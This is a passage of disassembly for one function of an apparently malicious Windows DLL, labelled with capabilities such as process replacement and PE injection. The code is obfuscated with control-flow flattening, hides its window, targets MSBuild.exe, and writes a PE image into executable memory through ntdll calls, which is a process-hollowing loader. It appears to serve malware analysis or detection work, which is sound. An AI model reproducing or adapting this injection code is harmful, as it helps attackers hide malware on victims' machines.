Function at 0x100078b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x10064804]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x198], 0xc8a801c3
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x19c], eax
sub eax, 0x8063d22e
je 0x10009cb4
jmp 0x100078ec
mov eax, dword [ebp - 0x19c]
sub eax, 0x80a47f73
je 0x1000d6e7
jmp 0x10007902
mov eax, dword [ebp - 0x19c]
sub eax, 0x811610ea
je 0x1000e67e
jmp 0x10007918
mov eax, dword [ebp - 0x19c]
sub eax, 0x817ea154
je 0x1000a758
jmp 0x1000792e
mov eax, dword [ebp - 0x19c]
sub eax, 0x8266721d
je 0x1000e05e
jmp 0x10007944
mov eax, dword [ebp - 0x19c]
sub eax, 0x82fb790d
je 0x1000bdd4
jmp 0x1000795a
mov eax, dword [ebp - 0x19c]
sub eax, 0x83237c66
je 0x100094ff
jmp 0x10007970
mov eax, dword [ebp - 0x19c]
sub eax, 0x83cb0b2a
je 0x1000d058
jmp 0x10007986
mov eax, dword [ebp - 0x19c]
sub eax, 0x84843372
je 0x1000d8cb
jmp 0x1000799c
mov eax, dword [ebp - 0x19c]
sub eax, 0x8aa16021
je 0x1000c98a
jmp 0x100079b2
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b32b438
je 0x100098c3
jmp 0x100079c8
mov eax, dword [ebp - 0x19c]
sub eax, 0x8de18c02
je 0x1000b4f3
jmp 0x100079de
mov eax, dword [ebp - 0x19c]
sub eax, 0x8f938a15
je 0x1000aee6
jmp 0x100079f4
mov eax, dword [ebp - 0x19c]
sub eax, 0x90dc9e75
je 0x1000af67
jmp 0x10007a0a
mov eax, dword [ebp - 0x19c]
sub eax, 0x919b5f2f
je 0x1000c221
jmp 0x10007a20
mov eax, dword [ebp - 0x19c]
sub eax, 0x91f9c530
je 0x1000e303
jmp 0x10007a36
mov eax, dword [ebp - 0x19c]
sub eax, 0x92baa119
je 0x1000a16d
jmp 0x10007a4c
mov eax, dword [ebp - 0x19c]
sub eax, 0x92d9d72c
je 0x1000b8b3
jmp 0x10007a62
mov eax, dword [ebp - 0x19c]
sub eax, 0x94856b3a
je 0x1000c3fe
jmp 0x10007a78
mov eax, dword [ebp - 0x19c]
sub eax, 0x95eb878a
je 0x1000a862
jmp 0x10007a8e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9705fae5
je 0x1000e290
jmp 0x10007aa4
mov eax, dword [ebp - 0x19c]
sub eax, 0x97ceb231
je 0x1000ccdd
jmp 0x10007aba
mov eax, dword [ebp - 0x19c]
sub eax, 0x98543d1f
je 0x1000e00d
jmp 0x10007ad0
mov eax, dword [ebp - 0x19c]
sub eax, 0x988c198e
je 0x1000e750
jmp 0x10007ae6
mov eax, dword [ebp - 0x19c]
sub eax, 0x989d2e1c
je 0x1000d12c
jmp 0x10007afc
mov eax, dword [ebp - 0x19c]
sub eax, 0x9a3ab1f2
je 0x1000e35c
jmp 0x10007b12
mov eax, dword [ebp - 0x19c]
sub eax, 0x9a8a0e2f
je 0x10009863
jmp 0x10007b28
mov eax, dword [ebp - 0x19c]
sub eax, 0x9b4d58c7
je 0x1000ca74
jmp 0x10007b3e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9c25a2d5
je 0x1000bab3
jmp 0x10007b54
mov eax, dword [ebp - 0x19c]
sub eax, 0x9e07acbc
je 0x100098d2
jmp 0x10007b6a
mov eax, dword [ebp - 0x19c]
sub eax, 0x9ea767f8
je 0x1000964c
jmp 0x10007b80
mov eax, dword [ebp - 0x19c]
sub eax, 0x9fa6121b
je 0x1000e12d
jmp 0x10007b96
mov eax, dword [ebp - 0x19c]
sub eax, 0x9fc8d423
je 0x1000e5e1
jmp 0x10007bac
mov eax, dword [ebp - 0x19c]
sub eax, 0xa246ae4d
je 0x1000c635
jmp 0x10007bc2
mov eax, dword [ebp - 0x19c]
sub eax, 0xa24c9890
je 0x1000cbb0
jmp 0x10007bd8
mov eax, dword [ebp - 0x19c]
sub eax, 0xa491dddb
je 0x1000a0a8
jmp 0x10007bee
mov eax, dword [ebp - 0x19c]
sub eax, 0xa49f591d
je 0x1000e312
jmp 0x10007c04
mov eax, dword [ebp - 0x19c]
sub eax, 0xa4bde291
je 0x1000e5a5
jmp 0x10007c1a
mov eax, dword [ebp - 0x19c]
sub eax, 0xa4c09fc4
je 0x1000b40d
jmp 0x10007c30
mov eax, dword [ebp - 0x19c]
sub eax, 0xa506f314
je 0x1000e633
jmp 0x10007c46
mov eax, dword [ebp - 0x19c]
sub eax, 0xa59be4fb
je 0x1000c0d8
jmp 0x10007c5c
mov eax, dword [ebp - 0x19c]
sub eax, 0xa5d542d3
je 0x1000deea
jmp 0x10007c72
mov eax, dword [ebp - 0x19c]
sub eax, 0xa6787e98
je 0x1000d43c
jmp 0x10007c88
mov eax, dword [ebp - 0x19c]
sub eax, 0xa6a586d1
je 0x1000bdb3
jmp 0x10007c9e
mov eax, dword [ebp - 0x19c]
sub eax, 0xa6ecd92f
je 0x1000ba62
jmp 0x10007cb4
mov eax, dword [ebp - 0x19c]
sub eax, 0xa74c9014
je 0x1000e3b0
jmp 0x10007cca
mov eax, dword [ebp - 0x19c]
sub eax, 0xa767a578
je 0x1000e386
jmp 0x10007ce0
mov eax, dword [ebp - 0x19c]
sub eax, 0xa83a2679
je 0x1000b025
jmp 0x10007cf6
mov eax, dword [ebp - 0x19c]
sub eax, 0xa8521fcf
je 0x1000a11c
jmp 0x10007d0c
mov eax, dword [ebp - 0x19c]
sub eax, 0xa8657084
je 0x1000d87a
jmp 0x10007d22
mov eax, dword [ebp - 0x19c]
sub eax, 0xa8672309
je 0x1000d11d
jmp 0x10007d38
mov eax, dword [ebp - 0x19c]
sub eax, 0xa8a64438
je 0x1000ae78
jmp 0x10007d4e
mov eax, dword [ebp - 0x19c]
sub eax, 0xa8fb14cc
je 0x10009ab5
jmp 0x10007d64
mov eax, dword [ebp - 0x19c]
sub eax, 0xa9a2dee4
je 0x10009bc9
jmp 0x10007d7a
mov eax, dword [ebp - 0x19c]
sub eax, 0xaab3aca4
je 0x1000c771
jmp 0x10007d90
mov eax, dword [ebp - 0x19c]
sub eax, 0xaabf3f46
je 0x1000ab7d
jmp 0x10007da6
mov eax, dword [ebp - 0x19c]
sub eax, 0xacd75b80
je 0x1000c5dd
jmp 0x10007dbc
mov eax, dword [ebp - 0x19c]
sub eax, 0xae4d4ced
je 0x1000d969
jmp 0x10007dd2
mov eax, dword [ebp - 0x19c]
sub eax, 0xb027b3fc
je 0x1000d5ee
jmp 0x10007de8
mov eax, dword [ebp - 0x19c]
sub eax, 0xb099b692
je 0x1000b3d4
jmp 0x10007dfe
mov eax, dword [ebp - 0x19c]
sub eax, 0xb164f89e
je 0x1000e4c4
jmp 0x10007e14
mov eax, dword [ebp - 0x19c]
sub eax, 0xb17775ba
je 0x10009d01
jmp 0x10007e2a
mov eax, dword [ebp - 0x19c]
sub eax, 0xb1b7b708
je 0x1000ce97
jmp 0x10007e40
mov eax, dword [ebp - 0x19c]
sub eax, 0xb1cc8e9a
je 0x1000e66f
jmp 0x10007e56
mov eax, dword [ebp - 0x19c]
sub eax, 0xb2edc201
je 0x1000b704
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001840
add esp, 4
lea eax, [0x1001a1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001840
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x44800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x129], al
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a553ff1
mov ecx, 0xc52e672f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1cd52cce
mov ecx, 0x4efc326d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x124], eax
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
sub edx, 0x82a45558
sub edx, 1
add edx, 0x82a45558
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x725af811
mov ecx, 0x8b32b438
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x9e07acbc
jmp 0x1000e7fe
mov eax, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x198], 0x2516da7a
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc369f1ff
mov ecx, 0x25b88866
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x278b9c3e
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x57b17d73
jmp 0x1000e7fe
mov al, byte [ebp - 0x10d]
mov byte [ebp - 0x185], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x18c], eax
mov dl, byte [ebp - 0x185]
mov eax, 0x14ce09fc
mov ecx, 0x1627aeaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x104]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xf9], al
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa586900
mov ecx, 0xa8521fcf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
add edx, 0x56d83102
sub edx, 1
sub edx, 0x56d83102
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4828a3
mov ecx, 0x92baa119
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4828a3
mov ecx, 0xdc9f88da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x17c]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0xf0], eax
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcc295534
mov ecx, 0x21859eaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
sub edx, 0x9e08a33d
sub edx, 1
add edx, 0x9e08a33d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91f9c530
mov ecx, 0x1f87c85f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x449c934a
jmp 0x1000e7fe
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x47f31fc3
mov ecx, 0x8f938a15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0x168]
mov dword [eax], 0
mov eax, dword [ebp - 0x180]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0xd4], eax
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
sub edx, 0x74d7f762
sub edx, 1
add edx, 0x74d7f762
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x47f31fc3
mov ecx, 0x69a62e9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
add edx, 0xa0f43eda
sub edx, 1
sub edx, 0xa0f43eda
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ebf2505
mov ecx, 0x2760eaad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0xcbda528d
jmp 0x1000e7fe
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x160]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x198], 0xa4c09fc4
jmp 0x1000e7fe
mov eax, dword [ebp - 0xbc]
mov esi, dword [eax]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
sub esi, eax
mov edx, dword [ebp - 0xc0]
mov eax, 0x2a91ae9
mov ecx, 0x53ede86e
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x27f5b114
mov ecx, 0x5139aa8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0xc0c1836e
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
sub edx, 0x487ff767
sub edx, 1
add edx, 0x487ff767
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc1f787a
mov ecx, 0x9c25a2d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xac]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0xa3], al
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc1f787a
mov ecx, 0x38597b92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dl, byte [ebp - 0xa2]
mov eax, 0x58e268d2
mov ecx, 0x82fb790d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
add edx, 0xe2008eb7
sub edx, 1
sub edx, 0xe2008eb7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a6f372b
mov ecx, 0x5d0b85d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x77a289d8
mov ecx, 0xe2c04dbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0xa0], eax
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
add edx, 0xfb4885d8
sub edx, 1
sub edx, 0xfb4885d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe08cc829
mov ecx, 0xee35ee2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
mov edx, ecx
add edx, 0x8cc3f35c
sub edx, 1
sub edx, 0x8cc3f35c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa4bde291
mov ecx, 0xe27bba0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d7f4e18
mov ecx, 0x37f5700a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
sub edx, 0x318573d
sub edx, 1
add edx, 0x318573d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59c5f523
mov ecx, 0xc2e197b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
add edx, 0x7e153c38
sub edx, 1
sub edx, 0x7e153c38
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4255008c
mov ecx, 0x67313b2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x198], 0x180c7de4
jmp 0x1000e7fe
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x90]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9fc8d423
mov ecx, 0x47b0bdd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
mov edx, ecx
sub edx, 0x229ba715
sub edx, 1
add edx, 0x229ba715
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa506f314
mov ecx, 0xc6816676
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + 0xc0]
mov ecx, dword [ebp - 0x88]
add ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5f05376e
mov ecx, 0x1d096b8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
sub edx, 0xe052b09a
sub edx, 1
add edx, 0xe052b09a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3363560e
mov ecx, 0xc8054b54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
add edx, 0xa7060732
sub edx, 1
sub edx, 0xa7060732
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec77dad3
mov ecx, 0x38b5fe86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x989d2e1c
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x98543d1f
mov ecx, 0x740044aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf30b4238
mov ecx, 0x49b9e169
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000f920
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
sub edx, 0xb755af18
sub edx, 1
add edx, 0xb755af18
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x656eb4b2
mov ecx, 0xf8f4ea19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
sub edx, 0x33bbb3d3
sub edx, 1
add edx, 0x33bbb3d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda89f390
mov ecx, 0x84843372
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x194], eax
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x174]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda89f390
mov ecx, 0xae4d4ced
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0xd3fc1656
jmp 0x1000e7fe
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
mov edx, ecx
add edx, 0x6a0d3053
sub edx, 1
sub edx, 0x6a0d3053
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
